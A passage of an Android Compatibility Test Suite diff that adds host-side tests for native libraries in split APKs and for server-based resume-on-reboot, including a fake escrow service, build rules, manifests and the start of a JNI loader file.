+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testAccessNativeSymbol_neitherBaseNorSplitExtracting_instant() throws Exception {
+        testAccessNativeSymbol(true, false, APK_BASE_WITHOUT_EXTRACTING,
+                APK_FEATURE_JNI_WITHOUT_EXTRACTING, APK_FEATURE_PROVIDER_A_WITHOUT_EXTRACTING,
+                APK_FEATURE_PROVIDER_B_WITHOUT_EXTRACTING, APK_FEATURE_PROXY_WITHOUT_EXTRACTING);
+    }
+
+    private void testAccessNativeSymbol(boolean instant, boolean expectedLoadedLibrary,
+            String baseApk, String jniApk, String providerAApk, String providerBApk,
+            String providerProxyApk) throws Exception {
+        configureInstallMultiple(instant, baseApk, jniApk, providerAApk, providerBApk,
+                providerProxyApk).run();
+        if (expectedLoadedLibrary) {
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+            runDeviceTests(PKG, TEST_CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
+        } else {
+            runDeviceTests(PKG, TEST_CLASS, "testNative_cannotLoadSharedLibrary");
+            runDeviceTests(
+                    PKG,
+                    TEST_CLASS,
+                    "testNativeSplit_withoutExtractLibs_nativeLibraryCannotBeLoaded");
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
index 628f8dd..0589ffc 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java
@@ -23,7 +23,9 @@
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
 import com.android.compatibility.common.util.HostSideTestUtils;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.log.LogUtil.CLog;
@@ -272,6 +274,145 @@
         }
     }
 
+    private boolean isAtLeastSDevice() throws Exception {
+        // The following tests targets API level >= S.
+        return ApiLevelUtil.isAfter(getDevice(), 30 /* BUILD.VERSION_CODES.R */)
+                || ApiLevelUtil.codenameEquals(getDevice(), "S");
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_ServerBased_Success() throws Exception {
+        assumeTrue("Device isn't at least S", isAtLeastSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf();
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+            deviceRebootAndApply();
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_MultiClient_ClientASuccess() throws Exception {
+        assumeTrue("Device isn't at least S", isAtLeastSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        final String clientA = "ClientA";
+        final String clientB = "ClientB";
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf(clientA);
+            deviceRequestLskf(clientB);
+
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+
+            // Client B's clear shouldn't affect client A's preparation.
+            deviceClearLskf(clientB);
+            deviceRebootAndApply(clientA);
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    @Test
+    public void resumeOnReboot_SingleUser_MultiClient_ClientBSuccess() throws Exception {
+        assumeTrue("Device isn't at least S", isAtLeastSDevice());
+
+        int[] users = Utils.prepareSingleUser(getDevice());
+        int initialUser = users[0];
+
+        deviceSetupServerBasedParameter();
+
+        final String clientA = "ClientA";
+        final String clientB = "ClientB";
+        try {
+            installTestPackages();
+
+            deviceSetup(initialUser);
+            deviceRequestLskf(clientA);
+
+            deviceLock(initialUser);
+            deviceEnterLskf(initialUser);
+
+            // Both clients have prepared
+            deviceRequestLskf(clientB);
+            deviceRebootAndApply(clientB);
+
+            runDeviceTestsAsUser("testVerifyUnlockedAndDismiss", initialUser);
+            runDeviceTestsAsUser("testCheckServiceInteraction", initialUser);
+        } finally {
+            try {
+                // Remove secure lock screens and tear down test app
+                runDeviceTestsAsUser("testTearDown", initialUser);
+
+                deviceClearLskf();
+            } finally {
+                removeTestPackages();
+                deviceCleanupServerBasedParameter();
+
+                getDevice().rebootUntilOnline();
+                getDevice().waitForDeviceAvailable();
+            }
+        }
+    }
+
+    private void deviceSetupServerBasedParameter() throws Exception {
+        getDevice().executeShellCommand("device_config put ota server_based_ror_enabled true");
+        getDevice().executeShellCommand(
+                "cmd lock_settings set-resume-on-reboot-provider-package " + PKG);
+    }
+
+    private void deviceCleanupServerBasedParameter() throws Exception {
+        getDevice().executeShellCommand("device_config put ota server_based_ror_enabled false");
+        getDevice().executeShellCommand(
+                "cmd lock_settings set-resume-on-reboot-provider-package ");
+    }
+
     private void deviceSetup(int userId) throws Exception {
         // To receive boot broadcasts, kick our other app out of stopped state
         getDevice().executeShellCommand("am start -a android.intent.action.MAIN"
@@ -288,14 +429,22 @@
     }
 
     private void deviceRequestLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery request-lskf " + PKG);
+        deviceRequestLskf(PKG);
+    }
+
+    private void deviceRequestLskf(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery request-lskf " + clientName);
         if (res == null || !res.contains("success")) {
             fail("could not set up recovery request-lskf");
         }
     }
 
     private void deviceClearLskf() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + PKG);
+        deviceClearLskf(PKG);
+    }
+
+    private void deviceClearLskf(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery clear-lskf " + clientName);
         if (res == null || !res.contains("success")) {
             fail("could not clear-lskf");
         }
@@ -326,7 +475,11 @@
     }
 
     private void deviceRebootAndApply() throws Exception {
-        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + PKG
+        deviceRebootAndApply(PKG);
+    }
+
+    private void deviceRebootAndApply(String clientName) throws Exception {
+        String res = getDevice().executeShellCommand("cmd recovery reboot-and-apply " + clientName
                 + " cts-test");
         if (res != null && res.contains("Reboot and apply status: failure")) {
             fail("could not call reboot-and-apply");
@@ -414,7 +567,8 @@
     }
 
     private boolean isSupportedDevice() throws Exception {
-        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN) && getDevice().hasFeature(FEATURE_REBOOT_ESCROW);
+        return getDevice().hasFeature(FEATURE_DEVICE_ADMIN)
+                && getDevice().hasFeature(FEATURE_REBOOT_ESCROW);
     }
 
     private class InstallMultiple extends BaseInstallMultiple<InstallMultiple> {
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
index 7552698..fe773e6 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/SplitTests.java
@@ -20,14 +20,21 @@
 
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.AppModeInstant;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.testtype.Abi;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.IAbi;
+import com.android.tradefed.util.AbiUtils;
 
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.FileNotFoundException;
 import java.util.HashMap;
+import java.util.Set;
 
 /**
  * Tests that verify installing of various split APKs from host side.
@@ -65,6 +72,10 @@
     private static final String APK_mips64 = "CtsSplitApp_mips64.apk";
     private static final String APK_mips = "CtsSplitApp_mips.apk";
 
+    private static final String APK_NUMBER_PROVIDER_A = "CtsSplitApp_number_provider_a.apk";
+    private static final String APK_NUMBER_PROVIDER_B = "CtsSplitApp_number_provider_b.apk";
+    private static final String APK_NUMBER_PROXY = "CtsSplitApp_number_proxy.apk";
+
     private static final String APK_DIFF_REVISION = "CtsSplitAppDiffRevision.apk";
     private static final String APK_DIFF_REVISION_v7 = "CtsSplitAppDiffRevision_v7.apk";
 
@@ -259,6 +270,54 @@
         runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementBadly");
         getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG).addFile(revisionApk).run();
         runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        getInstallMultiple(instant, useNaturalAbi).inheritFrom(PKG)
+                .addFile(APK_NUMBER_PROVIDER_A)
+                .addFile(APK_NUMBER_PROVIDER_B)
+                .addFile(APK_NUMBER_PROXY).run();
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
+    }
+
+    @Test
+    @AppModeFull(reason = "'full' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_full() throws Exception {
+        testNativeForEachSupportedAbi(false);
+    }
+
+    @Test
+    @AppModeInstant(reason = "'instant' portion of the hostside test")
+    public void testNativeSplitForEachSupportedAbi_instant() throws Exception {
+        testNativeForEachSupportedAbi(true);
+    }
+
+
+    private void specifyAbiToTest(boolean instant, String abiListProperty, String testMethodName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        final String propertyAbiListValue = getDevice().getProperty(abiListProperty);
+        final Set<String> supportedAbiSet =
+                AbiUtils.parseAbiListFromProperty(propertyAbiListValue);
+        for (String abi : supportedAbiSet) {
+            String apk = ABI_TO_APK.get(abi);
+            new InstallMultiple(instant, true).inheritFrom(PKG).addFile(apk).run();
+
+            // Without specifying abi for executing "adb shell am",
+            // a UnsatisfiedLinkError will happen.
+            IAbi iAbi = new Abi(abi, AbiUtils.getBitness(abi));
+            setAbi(iAbi);
+            runDeviceTests(PKG, CLASS, testMethodName);
+        }
+    }
+
+    private void testNativeForEachSupportedAbi(boolean instant)
+            throws DeviceNotAvailableException, FileNotFoundException {
+        new InstallMultiple(instant, true).addFile(APK).run();
+
+        // make sure this device can run both 32 bit and 64 bit
+        specifyAbiToTest(instant, "ro.product.cpu.abilist64", "testNative64Bit");
+        specifyAbiToTest(instant, "ro.product.cpu.abilist32", "testNative32Bit");
     }
 
     /**
@@ -306,8 +365,16 @@
         for (String apk : ABI_TO_REVISION_APK.values()) {
             instInheritFrom.addFile(apk);
         }
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_A);
+        instInheritFrom.addFile(APK_NUMBER_PROVIDER_B);
+        instInheritFrom.addFile(APK_NUMBER_PROXY);
         instInheritFrom.run();
         runDeviceTests(PKG, CLASS, "testNativeRevision_sub_shouldImplementWell");
+
+        runDeviceTests(PKG, CLASS, "testNative_getNumberADirectly_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberAViaProxy_shouldBeSeven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBDirectly_shouldBeEleven");
+        runDeviceTests(PKG, CLASS, "testNative_getNumberBViaProxy_shouldBeEleven");
     }
 
     /**
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
index bf896db..3bbde47 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/AndroidManifest.xml
@@ -84,6 +84,18 @@
             </intent-filter>
         </provider>
 
+        <service
+            android:name=".RebootEscrowFakeService"
+            android:enabled = "true"
+            android:exported="true"
+            android:permission="android.permission.BIND_RESUME_ON_REBOOT_SERVICE"
+            android:directBootAware="true">
+            <intent-filter>
+                <action android:name="android.service.resumeonreboot.ResumeOnRebootService"/>
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 8e3a970..7a1f083 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -151,6 +151,18 @@
                 thisCount > lastCount);
     }
 
+    public void testCheckServiceInteraction() {
+        boolean wrapCalled =
+                mDe.getSharedPreferences(RebootEscrowFakeService.SERVICE_PREFS, 0)
+                        .getBoolean("WRAP_CALLED", false);
+        assertTrue(wrapCalled);
+
+        boolean unwrapCalled =
+                mDe.getSharedPreferences(RebootEscrowFakeService.SERVICE_PREFS, 0)
+                        .getBoolean("UNWRAP_CALLED", false);
+        assertTrue(unwrapCalled);
+    }
+
     public void testVerifyUnlockedAndDismiss() throws Exception {
         doBootCountAfter();
         assertUnlocked();
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java
new file mode 100644
index 0000000..126337d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/RebootEscrowFakeService.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.encryptionapp;
+
+import android.content.Context;
+import android.util.Log;
+import android.service.resumeonreboot.ResumeOnRebootService;
+
+import javax.annotation.Nullable;
+
+/** A implementation for {@link IResumeOnRebootService}
+ *
+ * This class provides a fake implementation for the server based resume on reboot service.
+ * It's used for cts test to verify the functionality of platform code, and it won't talk to
+ * the server when wrap/unwrap is called.
+ */
+public class RebootEscrowFakeService extends ResumeOnRebootService {
+  static final String TAG = "RebootEscrowFakeService";
+
+  // Name of the shared preference for service interaction
+  static final String SERVICE_PREFS = "SERVICE_PREFERENCES";
+
+  @Nullable
+  @Override
+  public byte[] onWrap(byte[] blob, long lifeTimeInMillis) {
+    // Tests can this flag to verify that unwrap is called.
+    Context context =
+            getApplication().getApplicationContext().createDeviceProtectedStorageContext();
+    context.getSharedPreferences(SERVICE_PREFS, 0).edit()
+            .putBoolean("WRAP_CALLED", true).commit();
+
+    return blob;
+  }
+
+  @Nullable
+  @Override
+  public byte[] onUnwrap(byte[] wrappedBlob) {
+    // Tests can this flag to verify that unwrap is called.
+    Context context =
+            getApplication().getApplicationContext().createDeviceProtectedStorageContext();
+    context.getSharedPreferences(SERVICE_PREFS, 0).edit()
+            .putBoolean("UNWRAP_CALLED", true).commit();
+
+    return wrappedBlob;
+  }
+}
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
index f6d6d27..3f233b0 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -15,6 +15,7 @@
 android_test_helper_app {
     name: "CtsExternalStorageApp",
     defaults: ["cts_support_defaults"],
+    target_sdk_version: "29",
     sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
index 6472461..45ef6f9 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.bp
@@ -14,13 +14,15 @@
 // limitations under the License.
 //
 
+TARGET_TEST_SUITES = [
+    "cts",
+    "general-tests",
+]
+
 android_test_helper_app {
     name: "CtsIsolatedSplitApp",
     defaults: ["cts_support_defaults"],
-    test_suites: [
-        "cts",
-        "general-tests",
-    ],
+    test_suites: TARGET_TEST_SUITES,
     sdk_version: "current",
     // Feature splits are dependent on this base, so it must be exported.
     export_package_resources: true,
@@ -34,4 +36,25 @@
     srcs: ["src/**/*.java"],
     // Generate a locale split.
     package_splits: ["pl"],
+    use_embedded_native_libs: true, // default is true, android:extractNativeLibs="false"
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrue",
+    defaults: ["cts_support_defaults"],
+    test_suites: TARGET_TEST_SUITES,
+    sdk_version: "current",
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    // Make sure our test locale polish is not stripped.
+    aapt_include_all_resources: true,
+    static_libs: [
+        "ctstestrunner-axt",
+        "androidx.test.rules",
+        "truth-prebuilt",
+    ],
+    srcs: ["src/**/*.java"],
+    // Generate a locale split.
+    package_splits: ["pl"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
 }
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
new file mode 100644
index 0000000..536c9e5
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/Android.bp
@@ -0,0 +1,113 @@
+//
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+cc_test_library {
+    name: "libsplitappjni_isolated",
+    defaults: ["split_native_defaults"],
+    header_libs: ["jni_headers"],
+    shared_libs: ["liblog"],
+    srcs: ["jni/com_android_cts_isolatedsplitapp_Native.cpp"],
+}
+
+java_defaults {
+    name: "CtsSplitTestHelperApp_isolated_defaults",
+    compile_multilib: "both",
+
+    // TODO(b/179744452): Please add the following properties in individual modules because these
+    //                    properties can't inherit from java_defaults.
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split with extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    srcs: ["src/**/*.java"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderA",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProviderB",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsTrueNumberProxy",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    use_embedded_native_libs: false, // android:extractNativeLibs="true"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+/**
+  * Isolated feature split without extracting native library
+  */
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseJni",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_jni.xml",
+    jni_libs: ["libsplitappjni_isolated"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    srcs: ["src/**/*.java"],
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderA",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_a.xml",
+    jni_libs: ["libsplitapp_number_provider_a"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProviderB",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_provider_b.xml",
+    jni_libs: ["libsplitapp_number_provider_b"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
+
+android_test_helper_app {
+    name: "CtsIsolatedSplitAppExtractNativeLibsFalseNumberProxy",
+    defaults: ["CtsSplitTestHelperApp_isolated_defaults"],
+    manifest: "AndroidManifest_isolated_number_proxy.xml",
+    jni_libs: ["libsplitapp_number_proxy"],
+    use_embedded_native_libs: true, // android:extractNativeLibs="false"
+    test_suites: TARGET_TEST_SUITES,
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
new file mode 100644
index 0000000..74a53e9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_jni.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_jni_split">
+    <uses-split android:name="isolated_native_number_proxy_split"/>
+    <application>
+        <activity android:name="com.android.cts.isolatedsplitapp.jni.JniActivity">
+        </activity>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml
new file mode 100644
index 0000000..b17cb00
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_a.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_number_provider_a_split">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml
new file mode 100644
index 0000000..59d230f
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_provider_b.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    featureSplit="isolated_native_number_provider_b_split">
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml
new file mode 100644
index 0000000..92ef511
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/AndroidManifest_isolated_number_proxy.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+      http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.isolatedsplitapp"
+        featureSplit="isolated_native_number_proxy_split">
+    <uses-split android:name="isolated_native_number_provider_a_split"/>
+    <application android:hasCode="false" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
new file mode 100644
index 0000000..0542944
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/native_split/jni/com_android_cts_isolatedsplitapp_Native.cpp
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "IsolatedSplitApp"
+
+#include <android/log.h>
+#include <dlfcn.h>
+#include <stdio.h>
+
+#include "jni.h"
+
+#define LOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
+#define LOGI(...) __android_log_print(ANDROID_LOG_INFO, LOG_TAG, __VA_ARGS__)
+
+static jint add(JNIEnv* env, jobject thiz, jint numA, jint numB) {
+    return numA + numB;
+}
+
+typedef int (*pFuncGetNumber)();
+
+static jint get_number_from_other_library(const char* library_file_name,
+                                          const char* function_name) {
+    void* handle;
+    char* error;
+    handle = dlopen(library_file_name, RTLD_LAZY);
+    if (!handle) {
+        LOGE("Can't load %s: %s\n", library_file_name, dlerror());
+        return -1;
+    }
